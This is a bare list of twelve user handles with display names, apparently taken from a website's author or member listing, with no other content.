@alonronin
Alon Valadji

@MelvinTalk
Danny Wesley

@thomas-glare
Thomas Glare

@koss-lebedev
Konstantin Lebedev

@jrodthoughts
Jesus Rodriguez

@noprofile
noprofile

@noprofile
noprofile

@Davis
Davis Baer

@rossimarco
Marco Rossi

@pizzapanther
Paul Bailey

@appsecure
Anand Prakash

@itsmattfitzgerald
Matt Fitzgerald